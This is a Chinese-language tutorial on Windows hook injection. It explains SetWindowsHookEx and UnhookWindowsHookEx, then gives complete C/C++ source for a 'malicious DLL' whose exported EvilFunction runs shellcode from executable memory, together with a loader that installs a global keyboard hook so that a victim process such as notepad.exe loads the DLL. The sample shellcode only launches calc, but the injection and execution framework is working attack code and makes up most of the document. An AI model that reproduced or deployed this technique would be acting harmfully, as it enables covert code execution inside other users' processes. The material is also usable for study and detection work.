10-挂钩注入(SetWindowsHookEx Injection)
一、前言
挂钩(Hooking)
机制是一种拦截和修改系统、应用程序或特定函数执行流程的技术,这一看好像跟中断机制有点类似,中断服务程序由操作系统负责,运行在内核态,而我们的钩子程序(也称钩子过程) 运行在用户模式。
挂钩(Hooking)机制
挺有趣的,Windows允许程序安装挂钩,以使用来监视各种系统事件,例如鼠标单击和键盘按键。具体机制的介绍我将在 hooking技术
这一小节详细讲解。
在挂钩注入中有两个重要的Windows API,它们分别是 SetWindowsHookEx
和 UnhookWindowsHookEx
SetWindowsHookEx
:设置相应类型的钩子程序,当某类事件发生时会调用相应的相应类型的钩子程序。官方文档:SetWindowsHookExA 函数 (winuser.h) - Win32 apps | Microsoft Learn。钩子的类型如下:WH_KEYBOARD
:键盘消息钩子WH_MOUSE
:鼠标消息钩子WH_CBT
:系统回调钩子WH_SHELL
:Shell消息钩子WH_CALLWNDPROC
:窗口消息钩子更多的钩子类型,请看官方文档
UnhookWindowsHook
:删除SetWindowsHookEx
函数安装在挂钩链中的挂钩过程。官方文档:UnhookWindowsHookEx 函数 (winuser.h) - Win32 apps | Microsoft Learn
二、流程
创建一个恶意 DLL,该DLL导出一个
EvilFunction
函数,函数的主要作用是加载执行shellcode创建一个exe文件,该exe文件的主要作用
解析导出函数的地址,获得
钩子程序,其实也就是EvilFunction
的地址使用
SetWindowsHookEx
给键盘安装钩子(Hook),然后,返回值为挂钩过程的句柄。受害者运行notepad.exe,使用键盘打字
由于键盘事件是 hooked 的,打字后会触发我们的钩子,notepad.exe 会加载我们的恶意 dll 并调用导出的函数
三、代码实现
挂钩注入主要是 DLL 注入,所以我们需要生成一个携带着恶意shellcode的dll,这个恶意的dll需要导出一个导出函数 EvilFunction
。
恶意DLL
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) int EvilFunction() {
// calc shellcode
unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
Sleep(1000);
}
exe文件的代码
#include <iostream>
#include <Windows.h>
int main()
{
// 解析导出函数的地址,获得钩子程序,其实也就是EvilFunction的地址
HMODULE library = LoadLibraryA("dllhook.dll");
HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "EvilFunction");
// 使用 SetWindowsHookEx 给键盘安装钩子(Hook),然后,返回值为挂钩过程的句柄
HHOOK hook = SetWindowsHookEx(
WH_KEYBOARD, // 钩子类型
hookProc, // 钩子程序
library, // 包含钩子函数的DLL模块句柄
0); // 钩子作用的线程ID
// 保持钩子生效10秒
Sleep(10 * 1000);
// 卸载钩子
UnhookWindowsHookEx(hook);
return 0;
}

Last updated